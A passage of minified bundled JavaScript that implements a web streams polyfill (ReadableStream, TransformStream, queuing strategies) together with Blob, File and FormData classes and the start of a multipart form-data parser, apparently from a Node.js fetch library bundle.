ge=!1,Re=C(void 0);return b((Te,Pe)=>{let it;if($!==void 0){if(it=()=>{let se=new tR("Aborted","AbortError"),Ce=[];S||Ce.push(()=>c._state==="writable"?$s(c,se):C(void 0)),k||Ce.push(()=>o._state==="readable"?Nr(o,se):C(void 0)),tr(()=>Promise.all(Ce.map(Ie=>Ie())),!0,se)},$.aborted){it();return}$.addEventListener("abort",it)}function Mr(){return b((se,Ce)=>{function Ie(ur){ur?se():E(xi(),Ie,Ce)}Ie(!1)})}function xi(){return ge?C(!0):E(J._readyPromise,()=>b((se,Ce)=>{Bt(B,{_chunkSteps:Ie=>{Re=E(qd(J,Ie),void 0,t),se(!1)},_closeSteps:()=>se(!0),_errorSteps:Ce})}))}if(pn(o,B._closedPromise,se=>{S?Cr(!0,se):tr(()=>$s(c,se),!0,se)}),pn(c,J._closedPromise,se=>{k?Cr(!0,se):tr(()=>Nr(o,se),!0,se)}),Gt(o,B._closedPromise,()=>{p?Cr():tr(()=>$C(J))}),tn(c)||c._state==="closed"){let se=new TypeError("the destination writable stream closed before all data could be piped to it");k?Cr(!0,se):tr(()=>Nr(o,se),!0,se)}O(Mr());function An(){let se=Re;return E(Re,()=>se!==Re?An():void 0)}function pn(se,Ce,Ie){se._state==="errored"?Ie(se._storedError):A(Ce,Ie)}function Gt(se,Ce,Ie){se._state==="closed"?Ie():N(Ce,Ie)}function tr(se,Ce,Ie){if(ge)return;ge=!0,c._state==="writable"&&!tn(c)?N(An(),ur):ur();function ur(){q(se(),()=>gn(Ce,Ie),ki=>gn(!0,ki))}}function Cr(se,Ce){ge||(ge=!0,c._state==="writable"&&!tn(c)?N(An(),()=>gn(se,Ce)):gn(se,Ce))}function gn(se,Ce){kd(J),je(B),$!==void 0&&$.removeEventListener("abort",it),se?Pe(Ce):Te(void 0)}})}class Di{constructor(){throw new TypeError("Illegal constructor")}get desiredSize(){if(!Gs(this))throw Xs("desiredSize");return Uc(this)}close(){if(!Gs(this))throw Xs("close");if(!Ei(this))throw new TypeError("The stream is not in a state that permits close");To(this)}enqueue(c=void 0){if(!Gs(this))throw Xs("enqueue");if(!Ei(this))throw new TypeError("The stream is not in a state that permits enqueue");return Ys(this,c)}error(c=void 0){if(!Gs(this))throw Xs("error");xn(this,c)}[Pt](c){Ye(this);let p=this._cancelAlgorithm(c);return Vs(this),p}[Ot](c){let p=this._controlledReadableStream;if(this._queue.length>0){let S=be(this);this._closeRequested&&this._queue.length===0?(Vs(this),Po(p)):So(this),c._chunkSteps(S)}else Dt(p,c),So(this)}}Object.defineProperties(Di.prototype,{close:{enumerable:!0},enqueue:{enumerable:!0},error:{enumerable:!0},desiredSize:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Di.prototype,e.toStringTag,{value:"ReadableStreamDefaultController",configurable:!0});function Gs(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_controlledReadableStream")?!1:o instanceof Di}function So(o){if(!Hd(o))return;if(o._pulling){o._pullAgain=!0;return}o._pulling=!0;let p=o._pullAlgorithm();q(p,()=>{o._pulling=!1,o._pullAgain&&(o._pullAgain=!1,So(o))},S=>{xn(o,S)})}function Hd(o){let c=o._controlledReadableStream;return!Ei(o)||!o._started?!1:!!(On(c)&&yr(c)>0||Uc(o)>0)}function Vs(o){o._pullAlgorithm=void 0,o._cancelAlgorithm=void 0,o._strategySizeAlgorithm=void 0}function To(o){if(!Ei(o))return;let c=o._controlledReadableStream;o._closeRequested=!0,o._queue.length===0&&(Vs(o),Po(c))}function Ys(o,c){if(!Ei(o))return;let p=o._controlledReadableStream;if(On(p)&&yr(p)>0)Ir(p,c,!1);else{let S;try{S=o._strategySizeAlgorithm(c)}catch(k){throw xn(o,k),k}try{we(o,c,S)}catch(k){throw xn(o,k),k}}So(o)}function xn(o,c){let p=o._controlledReadableStream;p._state==="readable"&&(Ye(o),Vs(o),Kd(p,c))}function Uc(o){let c=o._controlledReadableStream._state;return c==="errored"?null:c==="closed"?0:o._strategyHWM-o._queueTotalSize}function rR(o){return!Hd(o)}function Ei(o){let c=o._controlledReadableStream._state;return!o._closeRequested&&c==="readable"}function zd(o,c,p,S,k,$,B){c._controlledReadableStream=o,c._queue=void 0,c._queueTotalSize=void 0,Ye(c),c._started=!1,c._closeRequested=!1,c._pullAgain=!1,c._pulling=!1,c._strategySizeAlgorithm=B,c._strategyHWM=$,c._pullAlgorithm=S,c._cancelAlgorithm=k,o._readableStreamController=c;let J=p();q(C(J),()=>{c._started=!0,So(c)},ge=>{xn(c,ge)})}function nR(o,c,p,S){let k=Object.create(Di.prototype),$=()=>{},B=()=>C(void 0),J=()=>C(void 0);c.start!==void 0&&($=()=>c.start(k)),c.pull!==void 0&&(B=()=>c.pull(k)),c.cancel!==void 0&&(J=ge=>c.cancel(ge)),zd(o,k,$,B,J,p,S)}function Xs(o){return new TypeError(`ReadableStreamDefaultController.prototype.${o} can only be used on a ReadableStreamDefaultController`)}function iR(o,c){return Ft(o._readableStreamController)?sR(o):oR(o)}function oR(o,c){let p=ke(o),S=!1,k=!1,$=!1,B=!1,J,ge,Re,Te,Pe,it=b(Gt=>{Pe=Gt});function Mr(){return S?(k=!0,C(void 0)):(S=!0,Bt(p,{_chunkSteps:tr=>{z(()=>{k=!1;let Cr=tr,gn=tr;$||Ys(Re._readableStreamController,Cr),B||Ys(Te._readableStreamController,gn),S=!1,k&&Mr()})},_closeSteps:()=>{S=!1,$||To(Re._readableStreamController),B||To(Te._readableStreamController),(!$||!B)&&Pe(void 0)},_errorSteps:()=>{S=!1}}),C(void 0))}function xi(Gt){if($=!0,J=Gt,B){let tr=R([J,ge]),Cr=Nr(o,tr);Pe(Cr)}return it}function An(Gt){if(B=!0,ge=Gt,$){let tr=R([J,ge]),Cr=Nr(o,tr);Pe(Cr)}return it}function pn(){}return Re=Kc(pn,Mr,xi),Te=Kc(pn,Mr,An),A(p._closedPromise,Gt=>{xn(Re._readableStreamController,Gt),xn(Te._readableStreamController,Gt),(!$||!B)&&Pe(void 0)}),[Re,Te]}function sR(o){let c=ke(o),p=!1,S=!1,k=!1,$=!1,B=!1,J,ge,Re,Te,Pe,it=b(se=>{Pe=se});function Mr(se){A(se._closedPromise,Ce=>{se===c&&(Lr(Re._readableStreamController,Ce),Lr(Te._readableStreamController,Ce),(!$||!B)&&Pe(void 0))})}function xi(){Kn(c)&&(je(c),c=ke(o),Mr(c)),Bt(c,{_chunkSteps:Ce=>{z(()=>{S=!1,k=!1;let Ie=Ce,ur=Ce;if(!$&&!B)try{ur=Y(Ce)}catch(ki){Lr(Re._readableStreamController,ki),Lr(Te._readableStreamController,ki),Pe(Nr(o,ki));return}$||Fs(Re._readableStreamController,Ie),B||Fs(Te._readableStreamController,ur),p=!1,S?pn():k&&Gt()})},_closeSteps:()=>{p=!1,$||vo(Re._readableStreamController),B||vo(Te._readableStreamController),Re._readableStreamController._pendingPullIntos.length>0&&Is(Re._readableStreamController,0),Te._readableStreamController._pendingPullIntos.length>0&&Is(Te._readableStreamController,0),(!$||!B)&&Pe(void 0)},_errorSteps:()=>{p=!1}})}function An(se,Ce){Ze(c)&&(je(c),c=wd(o),Mr(c));let Ie=Ce?Te:Re,ur=Ce?Re:Te;_d(c,se,{_chunkSteps:qi=>{z(()=>{S=!1,k=!1;let Oi=Ce?B:$;if(Ce?$:B)Oi||Ls(Ie._readableStreamController,qi);else{let sf;try{sf=Y(qi)}catch(Vc){Lr(Ie._readableStreamController,Vc),Lr(ur._readableStreamController,Vc),Pe(Nr(o,Vc));return}Oi||Ls(Ie._readableStreamController,qi),Fs(ur._readableStreamController,sf)}p=!1,S?pn():k&&Gt()})},_closeSteps:qi=>{p=!1;let Oi=Ce?B:$,oa=Ce?$:B;Oi||vo(Ie._readableStreamController),oa||vo(ur._readableStreamController),qi!==void 0&&(Oi||Ls(Ie._readableStreamController,qi),!oa&&ur._readableStreamController._pendingPullIntos.length>0&&Is(ur._readableStreamController,0)),(!Oi||!oa)&&Pe(void 0)},_errorSteps:()=>{p=!1}})}function pn(){if(p)return S=!0,C(void 0);p=!0;let se=qc(Re._readableStreamController);return se===null?xi():An(se._view,!1),C(void 0)}function Gt(){if(p)return k=!0,C(void 0);p=!0;let se=qc(Te._readableStreamController);return se===null?xi():An(se._view,!0),C(void 0)}function tr(se){if($=!0,J=se,B){let Ce=R([J,ge]),Ie=Nr(o,Ce);Pe(Ie)}return it}function Cr(se){if(B=!0,ge=se,$){let Ce=R([J,ge]),Ie=Nr(o,Ce);Pe(Ie)}return it}function gn(){}return Re=Ud(gn,pn,tr),Te=Ud(gn,Gt,Cr),Mr(c),[Re,Te]}function aR(o,c){nt(o,c);let p=o,S=p==null?void 0:p.autoAllocateChunkSize,k=p==null?void 0:p.cancel,$=p==null?void 0:p.pull,B=p==null?void 0:p.start,J=p==null?void 0:p.type;return{autoAllocateChunkSize:S===void 0?void 0:At(S,`${c} has member 'autoAllocateChunkSize' that`),cancel:k===void 0?void 0:cR(k,p,`${c} has member 'cancel' that`),pull:$===void 0?void 0:uR($,p,`${c} has member 'pull' that`),start:B===void 0?void 0:lR(B,p,`${c} has member 'start' that`),type:J===void 0?void 0:dR(J,`${c} has member 'type' that`)}}function cR(o,c,p){return lt(o,p),S=>G(o,c,[S])}function uR(o,c,p){return lt(o,p),S=>G(o,c,[S])}function lR(o,c,p){return lt(o,p),S=>M(o,c,[S])}function dR(o,c){if(o=`${o}`,o!=="bytes")throw new TypeError(`${c} '${o}' is not a valid enumeration value for ReadableStreamType`);return o}function fR(o,c){nt(o,c);let p=o==null?void 0:o.mode;return{mode:p===void 0?void 0:hR(p,`${c} has member 'mode' that`)}}function hR(o,c){if(o=`${o}`,o!=="byob")throw new TypeError(`${c} '${o}' is not a valid enumeration value for ReadableStreamReaderMode`);return o}function pR(o,c){nt(o,c);let p=o==null?void 0:o.preventCancel;return{preventCancel:Boolean(p)}}function Bd(o,c){nt(o,c);let p=o==null?void 0:o.preventAbort,S=o==null?void 0:o.preventCancel,k=o==null?void 0:o.preventClose,$=o==null?void 0:o.signal;return $!==void 0&&gR($,`${c} has member 'signal' that`),{preventAbort:Boolean(p),preventCancel:Boolean(S),preventClose:Boolean(k),signal:$}}function gR(o,c){if(!DC(o))throw new TypeError(`${c} is not an AbortSignal.`)}function mR(o,c){nt(o,c);let p=o==null?void 0:o.readable;mr(p,"readable","ReadableWritablePair"),vr(p,`${c} has member 'readable' that`);let S=o==null?void 0:o.writable;return mr(S,"writable","ReadableWritablePair"),Sd(S,`${c} has member 'writable' that`),{readable:p,writable:S}}class kn{constructor(c={},p={}){c===void 0?c=null:cr(c,"First parameter");let S=js(p,"Second parameter"),k=aR(c,"First parameter");if(Gc(this),k.type==="bytes"){if(S.size!==void 0)throw new RangeError("The strategy for a byte stream cannot have a size function");let $=wo(S,0);yC(this,k,$)}else{let $=Ms(S),B=wo(S,1);nR(this,k,B,$)}}get locked(){if(!qn(this))throw Yn("locked");return On(this)}cancel(c=void 0){return qn(this)?On(this)?w(new TypeError("Cannot cancel a stream that already has a reader")):Nr(this,c):w(Yn("cancel"))}getReader(c=void 0){if(!qn(this))throw Yn("getReader");return fR(c,"First parameter").mode===void 0?ke(this):wd(this)}pipeThrough(c,p={}){if(!qn(this))throw Yn("pipeThrough");dt(c,1,"pipeThrough");let S=mR(c,"First parameter"),k=Bd(p,"Second parameter");if(On(this))throw new TypeError("ReadableStream.prototype.pipeThrough cannot be used on a locked ReadableStream");if(Ti(S.writable))throw new TypeError("ReadableStream.prototype.pipeThrough cannot be used on a locked WritableStream");let $=Wd(this,S.writable,k.preventClose,k.preventAbort,k.preventCancel,k.signal);return O($),S.readable}pipeTo(c,p={}){if(!qn(this))return w(Yn("pipeTo"));if(c===void 0)return w("Parameter 1 is required in 'pipeTo'.");if(!Si(c))return w(new TypeError("ReadableStream.prototype.pipeTo's first argument must be a WritableStream"));let S;try{S=Bd(p,"Second parameter")}catch(k){return w(k)}return On(this)?w(new TypeError("ReadableStream.prototype.pipeTo cannot be used on a locked ReadableStream")):Ti(c)?w(new TypeError("ReadableStream.prototype.pipeTo cannot be used on a locked WritableStream")):Wd(this,c,S.preventClose,S.preventAbort,S.preventCancel,S.signal)}tee(){if(!qn(this))throw Yn("tee");let c=iR(this);return R(c)}values(c=void 0){if(!qn(this))throw Yn("values");let p=pR(c,"First parameter");return K(this,p.preventCancel)}}Object.defineProperties(kn.prototype,{cancel:{enumerable:!0},getReader:{enumerable:!0},pipeThrough:{enumerable:!0},pipeTo:{enumerable:!0},tee:{enumerable:!0},values:{enumerable:!0},locked:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(kn.prototype,e.toStringTag,{value:"ReadableStream",configurable:!0}),typeof e.asyncIterator=="symbol"&&Object.defineProperty(kn.prototype,e.asyncIterator,{value:kn.prototype.values,writable:!0,configurable:!0});function Kc(o,c,p,S=1,k=()=>1){let $=Object.create(kn.prototype);Gc($);let B=Object.create(Di.prototype);return zd($,B,o,c,p,S,k),$}function Ud(o,c,p){let S=Object.create(kn.prototype);Gc(S);let k=Object.create(le.prototype);return bd(S,k,o,c,p,0,void 0),S}function Gc(o){o._state="readable",o._reader=void 0,o._storedError=void 0,o._disturbed=!1}function qn(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_readableStreamController")?!1:o instanceof kn}function On(o){return o._reader!==void 0}function Nr(o,c){if(o._disturbed=!0,o._state==="closed")return C(void 0);if(o._state==="errored")return w(o._storedError);Po(o);let p=o._reader;p!==void 0&&Kn(p)&&(p._readIntoRequests.forEach(k=>{k._closeSteps(void 0)}),p._readIntoRequests=new _e);let S=o._readableStreamController[Pt](c);return H(S,t)}function Po(o){o._state="closed";let c=o._reader;c!==void 0&&(gt(c),Ze(c)&&(c._readRequests.forEach(p=>{p._closeSteps()}),c._readRequests=new _e))}function Kd(o,c){o._state="errored",o._storedError=c;let p=o._reader;p!==void 0&&(Wt(p,c),Ze(p)?(p._readRequests.forEach(S=>{S._errorSteps(c)}),p._readRequests=new _e):(p._readIntoRequests.forEach(S=>{S._errorSteps(c)}),p._readIntoRequests=new _e))}function Yn(o){return new TypeError(`ReadableStream.prototype.${o} can only be used on a ReadableStream`)}function Gd(o,c){nt(o,c);let p=o==null?void 0:o.highWaterMark;return mr(p,"highWaterMark","QueuingStrategyInit"),{highWaterMark:Ar(p)}}let Vd=o=>o.byteLength;Object.defineProperty(Vd,"name",{value:"size",configurable:!0});class Qs{constructor(c){dt(c,1,"ByteLengthQueuingStrategy"),c=Gd(c,"First parameter"),this._byteLengthQueuingStrategyHighWaterMark=c.highWaterMark}get highWaterMark(){if(!Xd(this))throw Yd("highWaterMark");return this._byteLengthQueuingStrategyHighWaterMark}get size(){if(!Xd(this))throw Yd("size");return Vd}}Object.defineProperties(Qs.prototype,{highWaterMark:{enumerable:!0},size:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Qs.prototype,e.toStringTag,{value:"ByteLengthQueuingStrategy",configurable:!0});function Yd(o){return new TypeError(`ByteLengthQueuingStrategy.prototype.${o} can only be used on a ByteLengthQueuingStrategy`)}function Xd(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_byteLengthQueuingStrategyHighWaterMark")?!1:o instanceof Qs}let Qd=()=>1;Object.defineProperty(Qd,"name",{value:"size",configurable:!0});class Js{constructor(c){dt(c,1,"CountQueuingStrategy"),c=Gd(c,"First parameter"),this._countQueuingStrategyHighWaterMark=c.highWaterMark}get highWaterMark(){if(!Zd(this))throw Jd("highWaterMark");return this._countQueuingStrategyHighWaterMark}get size(){if(!Zd(this))throw Jd("size");return Qd}}Object.defineProperties(Js.prototype,{highWaterMark:{enumerable:!0},size:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Js.prototype,e.toStringTag,{value:"CountQueuingStrategy",configurable:!0});function Jd(o){return new TypeError(`CountQueuingStrategy.prototype.${o} can only be used on a CountQueuingStrategy`)}function Zd(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_countQueuingStrategyHighWaterMark")?!1:o instanceof Js}function vR(o,c){nt(o,c);let p=o==null?void 0:o.flush,S=o==null?void 0:o.readableType,k=o==null?void 0:o.start,$=o==null?void 0:o.transform,B=o==null?void 0:o.writableType;return{flush:p===void 0?void 0:yR(p,o,`${c} has member 'flush' that`),readableType:S,start:k===void 0?void 0:bR(k,o,`${c} has member 'start' that`),transform:$===void 0?void 0:wR($,o,`${c} has member 'transform' that`),writableType:B}}function yR(o,c,p){return lt(o,p),S=>G(o,c,[S])}function bR(o,c,p){return lt(o,p),S=>M(o,c,[S])}function wR(o,c,p){return lt(o,p),(S,k)=>G(o,c,[S,k])}class Zs{constructor(c={},p={},S={}){c===void 0&&(c=null);let k=js(p,"Second parameter"),$=js(S,"Third parameter"),B=vR(c,"First parameter");if(B.readableType!==void 0)throw new RangeError("Invalid readableType specified");if(B.writableType!==void 0)throw new RangeError("Invalid writableType specified");let J=wo($,0),ge=Ms($),Re=wo(k,1),Te=Ms(k),Pe,it=b(Mr=>{Pe=Mr});CR(this,it,Re,Te,J,ge),_R(this,B),B.start!==void 0?Pe(B.start(this._transformStreamController)):Pe(void 0)}get readable(){if(!ef(this))throw of("readable");return this._readable}get writable(){if(!ef(this))throw of("writable");return this._writable}}Object.defineProperties(Zs.prototype,{readable:{enumerable:!0},writable:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Zs.prototype,e.toStringTag,{value:"TransformStream",configurable:!0});function CR(o,c,p,S,k,$){function B(){return c}function J(it){return PR(o,it)}function ge(it){return DR(o,it)}function Re(){return ER(o)}o._writable=kC(B,J,Re,ge,p,S);function Te(){return xR(o)}function Pe(it){return ta(o,it),C(void 0)}o._readable=Kc(B,Te,Pe,k,$),o._backpressure=void 0,o._backpressureChangePromise=void 0,o._backpressureChangePromise_resolve=void 0,ra(o,!0),o._transformStreamController=void 0}function ef(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_transformStreamController")?!1:o instanceof Zs}function ea(o,c){xn(o._readable._readableStreamController,c),ta(o,c)}function ta(o,c){tf(o._transformStreamController),jc(o._writable._writableStreamController,c),o._backpressure&&ra(o,!1)}function ra(o,c){o._backpressureChangePromise!==void 0&&o._backpressureChangePromise_resolve(),o._backpressureChangePromise=b(p=>{o._backpressureChangePromise_resolve=p}),o._backpressure=c}class Do{constructor(){throw new TypeError("Illegal constructor")}get desiredSize(){if(!na(this))throw ia("desiredSize");let c=this._controlledTransformStream._readable._readableStreamController;return Uc(c)}enqueue(c=void 0){if(!na(this))throw ia("enqueue");rf(this,c)}error(c=void 0){if(!na(this))throw ia("error");SR(this,c)}terminate(){if(!na(this))throw ia("terminate");TR(this)}}Object.defineProperties(Do.prototype,{enqueue:{enumerable:!0},error:{enumerable:!0},terminate:{enumerable:!0},desiredSize:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Do.prototype,e.toStringTag,{value:"TransformStreamDefaultController",configurable:!0});function na(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_controlledTransformStream")?!1:o instanceof Do}function RR(o,c,p,S){c._controlledTransformStream=o,o._transformStreamController=c,c._transformAlgorithm=p,c._flushAlgorithm=S}function _R(o,c){let p=Object.create(Do.prototype),S=$=>{try{return rf(p,$),C(void 0)}catch(B){return w(B)}},k=()=>C(void 0);c.transform!==void 0&&(S=$=>c.transform($,p)),c.flush!==void 0&&(k=()=>c.flush(p)),RR(o,p,S,k)}function tf(o){o._transformAlgorithm=void 0,o._flushAlgorithm=void 0}function rf(o,c){let p=o._controlledTransformStream,S=p._readable._readableStreamController;if(!Ei(S))throw new TypeError("Readable side is not in a state that permits enqueue");try{Ys(S,c)}catch($){throw ta(p,$),p._readable._storedError}rR(S)!==p._backpressure&&ra(p,!0)}function SR(o,c){ea(o._controlledTransformStream,c)}function nf(o,c){let p=o._transformAlgorithm(c);return H(p,void 0,S=>{throw ea(o._controlledTransformStream,S),S})}function TR(o){let c=o._controlledTransformStream,p=c._readable._readableStreamController;To(p);let S=new TypeError("TransformStream terminated");ta(c,S)}function PR(o,c){let p=o._transformStreamController;if(o._backpressure){let S=o._backpressureChangePromise;return H(S,()=>{let k=o._writable;if(k._state==="erroring")throw k._storedError;return nf(p,c)})}return nf(p,c)}function DR(o,c){return ea(o,c),C(void 0)}function ER(o){let c=o._readable,p=o._transformStreamController,S=p._flushAlgorithm();return tf(p),H(S,()=>{if(c._state==="errored")throw c._storedError;To(c._readableStreamController)},k=>{throw ea(o,k),c._storedError})}function xR(o){return ra(o,!1),o._backpressureChangePromise}function ia(o){return new TypeError(`TransformStreamDefaultController.prototype.${o} can only be used on a TransformStreamDefaultController`)}function of(o){return new TypeError(`TransformStream.prototype.${o} can only be used on a TransformStream`)}r.ByteLengthQueuingStrategy=Qs,r.CountQueuingStrategy=Js,r.ReadableByteStreamController=le,r.ReadableStream=kn,r.ReadableStreamBYOBReader=bo,r.ReadableStreamBYOBRequest=vt,r.ReadableStreamDefaultController=Di,r.ReadableStreamDefaultReader=Zt,r.TransformStream=Zs,r.TransformStreamDefaultController=Do,r.WritableStream=Co,r.WritableStreamDefaultController=Pi,r.WritableStreamDefaultWriter=Ro,Object.defineProperty(r,"__esModule",{value:!0})})});var rw=F(()=>{var mk=65536;if(!globalThis.ReadableStream)try{let r=require("process"),{emitWarning:e}=r;try{r.emitWarning=()=>{},Object.assign(globalThis,require("stream/web")),r.emitWarning=e}catch(t){throw r.emitWarning=e,t}}catch{Object.assign(globalThis,tw())}try{let{Blob:r}=require("buffer");r&&!r.prototype.stream&&(r.prototype.stream=function(t){let n=0,i=this;return new ReadableStream({type:"bytes",async pull(s){let l=await i.slice(n,Math.min(i.size,n+mk)).arrayBuffer();n+=l.byteLength,s.enqueue(new Uint8Array(l)),n===i.size&&s.close()}})})}catch{}});async function*Yl(r,e=!0){for(let t of r)if("stream"in t)yield*t.stream();else if(ArrayBuffer.isView(t))if(e){let n=t.byteOffset,i=t.byteOffset+t.byteLength;for(;n!==i;){let s=Math.min(i-n,nw),a=t.buffer.slice(n,n+s);n+=a.byteLength,yield new Uint8Array(a)}}else yield t;else{let n=0;for(;n!==t.size;){let s=await t.slice(n,Math.min(t.size,n+nw)).arrayBuffer();n+=s.byteLength,yield new Uint8Array(s)}}}var HA,nw,Dn,vs,oo,so,iw,vk,vi,ys=xo(()=>{HA=oe(rw());nw=65536;iw=(so=class{constructor(e=[],t={}){Rr(this,Dn,[]);Rr(this,vs,"");Rr(this,oo,0);if(typeof e!="object"||e===null)throw new TypeError("Failed to construct 'Blob': The provided value cannot be converted to a sequence.");if(typeof e[Symbol.iterator]!="function")throw new TypeError("Failed to construct 'Blob': The object must have a callable @@iterator property.");if(typeof t!="object"&&typeof t!="function")throw new TypeError("Failed to construct 'Blob': parameter 2 cannot convert to dictionary.");t===null&&(t={});let n=new TextEncoder;for(let s of e){let a;ArrayBuffer.isView(s)?a=new Uint8Array(s.buffer.slice(s.byteOffset,s.byteOffset+s.byteLength)):s instanceof ArrayBuffer?a=new Uint8Array(s.slice(0)):s instanceof so?a=s:a=n.encode(s),rr(this,oo,Le(this,oo)+(ArrayBuffer.isView(a)?a.byteLength:a.size)),Le(this,Dn).push(a)}let i=t.type===void 0?"":String(t.type);rr(this,vs,/^[\x20-\x7E]*$/.test(i)?i:"")}get size(){return Le(this,oo)}get type(){return Le(this,vs)}async text(){let e=new TextDecoder,t="";for await(let n of Yl(Le(this,Dn),!1))t+=e.decode(n,{stream:!0});return t+=e.decode(),t}async arrayBuffer(){let e=new Uint8Array(this.size),t=0;for await(let n of Yl(Le(this,Dn),!1))e.set(n,t),t+=n.length;return e.buffer}stream(){let e=Yl(Le(this,Dn),!0);return new globalThis.ReadableStream({type:"bytes",async pull(t){let n=await e.next();n.done?t.close():t.enqueue(n.value)},async cancel(){await e.return()}})}slice(e=0,t=this.size,n=""){let{size:i}=this,s=e<0?Math.max(i+e,0):Math.min(e,i),a=t<0?Math.max(i+t,0):Math.min(t,i),l=Math.max(a-s,0),u=Le(this,Dn),g=[],v=0;for(let C of u){if(v>=l)break;let w=ArrayBuffer.isView(C)?C.byteLength:C.size;if(s&&w<=s)s-=w,a-=w;else{let E;ArrayBuffer.isView(C)?(E=C.subarray(s,Math.min(w,a)),v+=E.byteLength):(E=C.slice(s,Math.min(w,a)),v+=E.size),a-=w,g.push(E),s=0}}let b=new so([],{type:String(n).toLowerCase()});return rr(b,oo,l),rr(b,Dn,g),b}get[Symbol.toStringTag](){return"Blob"}static[Symbol.hasInstance](e){return e&&typeof e=="object"&&typeof e.constructor=="function"&&(typeof e.stream=="function"||typeof e.arrayBuffer=="function")&&/^(Blob|File)$/.test(e[Symbol.toStringTag])}},Dn=new WeakMap,vs=new WeakMap,oo=new WeakMap,so);Object.defineProperties(iw.prototype,{size:{enumerable:!0},type:{enumerable:!0},slice:{enumerable:!0}});vk=iw,vi=vk});var ws,Cs,ow,yk,bk,bs,Xl=xo(()=>{ys();yk=(ow=class extends vi{constructor(e,t,n={}){if(arguments.length<2)throw new TypeError(`Failed to construct 'File': 2 arguments required, but only ${arguments.length} present.`);super(e,n);Rr(this,ws,0);Rr(this,Cs,"");n===null&&(n={});let i=n.lastModified===void 0?Date.now():Number(n.lastModified);Number.isNaN(i)||rr(this,ws,i),rr(this,Cs,String(t))}get name(){return Le(this,Cs)}get lastModified(){return Le(this,ws)}get[Symbol.toStringTag](){return"File"}},ws=new WeakMap,Cs=new WeakMap,ow),bk=yk,bs=bk});function cw(r,e=vi){var t=`${sw()}${sw()}`.replace(/\./g,"").slice(-28).padStart(32,"-"),n=[],i=`--${t}\r
Content-Disposition: form-data; name="`;return r.forEach((s,a)=>typeof s=="string"?n.push(i+Ql(a)+`"\r
\r
${s.replace(/\r(?!\n)|(?<!\r)\n/g,`\r
`)}\r
`):n.push(i+Ql(a)+`"; filename="${Ql(s.name,1)}"\r
Content-Type: ${s.type||"application/octet-stream"}\r
\r
`,s,`\r
`)),n.push(`--${t}--`),new e(n,{type:"multipart/form-data; boundary="+t})}var Rs,wk,Ck,sw,Rk,aw,Ql,yi,xr,uw,ao,Jl=xo(()=>{ys();Xl();({toStringTag:Rs,iterator:wk,hasInstance:Ck}=Symbol),sw=Math.random,Rk="append,set,get,getAll,delete,keys,values,entries,forEach,constructor".split(","),aw=(r,e,t)=>(r+="",/^(Blob|File)$/.test(e&&e[Rs])?[(t=t!==void 0?t+"":e[Rs]=="File"?e.name:"blob",r),e.name!==t||e[Rs]=="blob"?new bs([e],t,e):e]:[r,e+""]),Ql=(r,e)=>(e?r:r.replace(/\r?\n|\r/g,`\r
`)).replace(/\n/g,"%0A").replace(/\r/g,"%0D").replace(/"/g,"%22"),yi=(r,e,t)=>{if(e.length<t)throw new TypeError(`Failed to execute '${r}' on 'FormData': ${t} arguments required, but only ${e.length} present.`)},ao=(uw=class{constructor(...e){Rr(this,xr,[]);if(e.length)throw new TypeError("Failed to construct 'FormData': parameter 1 is not of type 'HTMLFormElement'.")}get[Rs](){return"FormData"}[wk](){return this.entries()}static[Ck](e){return e&&typeof e=="object"&&e[Rs]==="FormData"&&!Rk.some(t=>typeof e[t]!="function")}append(...e){yi("append",arguments,2),Le(this,xr).push(aw(...e))}delete(e){yi("delete",arguments,1),e+="",rr(this,xr,Le(this,xr).filter(([t])=>t!==e))}get(e){yi("get",arguments,1),e+="";for(var t=Le(this,xr),n=t.length,i=0;i<n;i++)if(t[i][0]===e)return t[i][1];return null}getAll(e,t){return yi("getAll",arguments,1),t=[],e+="",Le(this,xr).forEach(n=>n[0]===e&&t.push(n[1])),t}has(e){return yi("has",arguments,1),e+="",Le(this,xr).some(t=>t[0]===e)}forEach(e,t){yi("forEach",arguments,1);for(var[n,i]of this)e.call(t,i,n,this)}set(...e){yi("set",arguments,2);var t=[],n=!0;e=aw(...e),Le(this,xr).forEach(i=>{i[0]===e[0]?n&&(n=!t.push(e)):t.push(i)}),n&&t.push(e),rr(this,xr,t)}*entries(){yield*Le(this,xr)}*keys(){for(var[e]of this)yield e}*values(){for(var[,e]of this)yield e}},xr=new WeakMap,uw)});var Ss,_k,dw,Sk,Tk,bi,co,ed,Pk,fw=xo(()=>{Ss=oe(require("fs")),_k=oe(require("path")),dw=oe(require("worker_threads"));Xl();ys();({stat:Sk}=Ss.promises),Tk=globalThis.DOMException||(()=>{let r=new dw.MessageChannel().port1,e=new ArrayBuffer(0);try{r.postMessage(e,[e,e])}catch(t){return t.constructor}})(),ed=class{constructor(e){Rr(this,bi,void 0);Rr(this,co,void 0);rr(this,bi,e.path),rr(this,co,e.start),this.size=e.size,this.lastModified=e.lastModified}slice(e,t){return new ed({path:Le(this,bi),lastModified:this.lastModified,size:t-e,start:e})}async*stream(){let{mtimeMs:e}=await Sk(Le(this,bi));if(e>this.lastModified)throw new Tk("The requested file could not be read, typically due to permission problems that have occurred after a reference to a file was acquired.","NotReadableError");yield*(0,Ss.createReadStream)(Le(this,bi),{start:Le(this,co),end:Le(this,co)+this.size-1})}get[Symbol.toStringTag](){return"Blob"}},Pk=ed;bi=new WeakMap,co=new WeakMap});var gw={};ff(gw,{toFormData:()=>Ak});function Ok(r){let e=r.match(/\bfilename=("(.*?)"|([^()<>@,;:\\"/[\]?={}\s\t]+))($|;\s)/i);if(!e)return;let t=e[2]||e[3]||"",n=t.slice(t.lastIndexOf("\\")+1);return n=n.replace(/%22/g,'"'),n=n.replace(/&#(\d{4});/g,(i,s)=>String.fromCharCode(s)),n}async function Ak(r,e){if(!/multipart/i.test(e))throw new TypeError("Failed to fetch");let t=e.match(/boundary=(?:"([^"]+)"|([^;]+))/i);if(!t)throw new TypeError("no or bad content-type header, no 